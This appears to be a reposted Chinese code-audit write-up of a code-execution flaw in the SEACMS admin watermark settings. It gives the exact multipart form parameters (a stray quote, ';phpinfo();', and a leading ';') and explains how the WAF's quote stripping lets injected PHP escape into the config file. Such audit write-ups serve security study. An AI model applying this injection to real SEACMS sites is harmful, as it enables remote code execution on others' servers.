[PHP代码审计]SEACMS命令执行漏洞
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[PHP代码审计]SEACMS命令执行漏洞相关的知识,希望对你有一定的参考价值。
写在前面
考虑到是后台,且后台目录随机,感觉危害不太大,所以分享思路,这里是防御过度造成的,两个waf的利用导致参数逃逸,希望给大家的审计学习带来帮助
漏洞演示
漏洞点在后台的图片水印设置
在这里我们用burpSuite拦截包,之后我们要修改三个地方,我把参数列出来
------WebKitFormBoundaryiU3RjTlx8jjXvZLM
Content-Disposition: form-data; name="photo_watertext"
www.seacms.net'
------WebKitFormBoundaryiU3RjTlx8jjXvZLM
Content-Disposition: form-data; name="photo_fontsize"
;phpinfo();
------WebKitFormBoundaryiU3RjTlx8jjXvZLM
Content-Disposition: form-data; name="photo_fontcolor"
;#FF0000
分别是第一个后面加单引号,第二个后面拼接注入参数第三个前面加上;
一定要加上我说的!!!
之后,我们再次查看图片水印这里,成功利用
漏洞点分析
在w7alz9/admin_config_mark.php
,首先引入了公共类实现了全局waf
可以看见对我们多传入的'
进行了过滤,这也造成了本次漏洞利用产生
接下来,我们再往下,发现这里对'
进行的操作是替换为空
看看现在的变量值这里造成了什么,参数的逃逸,我们看看最终写入的结果
看看本来正常的值被替换了以后从原来的$photo_watertext = 'www.seacms.net\\'';
由于'
被替换为空,导致把后面的注释调
可以看见上图,现在闭合的部分为
$photo_watertext = 'www.seacms.net\\';
$photo_fontsize = '
因此我们便可以利用$photo_fontsize
参数进行危险函数的注入并且$photo_fontcolor
参数前也要加一个;
闭合后面部分
分析完毕
以上是关于[PHP代码审计]SEACMS命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章